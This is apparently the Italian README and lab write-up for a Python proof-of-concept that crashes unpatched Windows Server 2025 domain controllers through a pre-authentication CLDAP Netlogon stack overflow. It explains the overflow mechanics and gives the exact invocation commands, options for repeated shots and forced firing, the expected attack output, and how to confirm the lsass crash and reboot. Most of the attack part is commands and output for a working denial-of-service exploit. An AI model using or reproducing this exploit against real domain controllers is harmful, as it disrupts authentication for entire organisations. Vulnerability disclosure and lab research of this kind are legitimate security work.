
CVE-2026-41089 LongLogon: crasher con buffer overflow nello stack pre-auth CLDAP (UDP/389) per Netlogon di Windows Server 2025 non patchato (lsass 0xc0000409). PoC Python solo stdlib + write-up di laboratorio.
Buffer overflow dello stack pre-autenticazione nel servizio Netlogon di Windows Server 2025. Un singolo pacchetto CLDAP (UDP/389) da qualsiasi host sulla rete è sufficiente: lsass.exe muore con STATUS_STACK_BUFFER_OVERRUN (0xc0000409) e il domain controller si riavvia.
La risposta a un ping CLDAP Netlogon viene serializzata in un buffer di stack da 528 byte. Il server scrive i propri nomi (forest, domain, hostname) seguiti dal campo User controllato dall'attaccante (limitato a 130 caratteri wide). Quando il riempimento totale raggiunge 536 byte (buffer + stack cookie), il L'\0' finale sovrascrive il cookie /GS e il processo va in crash.
Il campo NtVer instrada il percorso del codice: 0x02 prende il vulnerabile BuildSamLogonResponse, mentre 0x06 / 0x16 prendono il limitato (sicuro) BuildSamLogonResponseEx. Questo PoC invia NtVer = 0x02.
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run sonda con User=1 (benigno), mostra il riempimento previsto, non spara --shots N numero di pacchetti di overflow da inviare (predefinito 1) --confirm-wait S attesa prima di ri-sondare dopo uno sparo silenzioso (predefinito 75s) --force spara anche se il riempimento previsto è sotto i 536 byte
Esempio (sostituire l'IP e il dominio con i valori del proprio laboratorio):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
Output previsto dello sparo:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
Codici di uscita: 0 crash probabile, 1 DC silenzioso alla sonda iniziale, 2 riempimento sotto 536 byte (al limite), 3 DC sopravvissuto.
Nota: lo script ri-sonda dopo 75 secondi perché un singolo pacchetto silenzioso può anche essere un datagramma UDP perso. Non concludere un crash dal solo silenzio.
Usare il checker ufficiale dal repository di ricerca. Sonda con User=1, quindi il DC rimane attivo:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
Previsto: "PRECONDITION MET" con un riempimento previsto di almeno 536 byte.
Il checker non prova lo stato della patch: un DC corretto prende lo stesso percorso del codice e semplicemente rifiuta la scrittura troppo lunga. Verificare la versione di netlogon.dll sul DC direttamente (< 10.0.26100.32772 = vulnerabile).
Sul DC, una volta riavviato:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
Cercare l'evento 1000: applicazione che causa l'errore lsass.exe, modulo che causa l'errore netlogon.DLL, codice eccezione 0xc0000409, e un orario di avvio successivo allo sparo.
Testato su Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230 (non corretto), dominio di 64 caratteri + hostname di 63 caratteri (riempimento previsto 581 byte). Un pacchetto inviato:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
Questo PoC è fornito solo a scopo educativo e di ricerca. È stato sviluppato e testato in un ambiente di laboratorio isolato su Windows Server 2025. Usalo a tuo rischio.
Utilizzando questo script accetti che l'autore non è responsabile per qualsiasi perdita di dati, interruzione del servizio, danno hardware o altre conseguenze dirette o indirette. Il crash non è idempotente: il domain controller di destinazione si riavvierà. Fare uno snapshot prima di sparare.
Non viene fornita alcuna garanzia che questo PoC funzioni in un ambiente di produzione o su tutte le build di Windows Server 2025.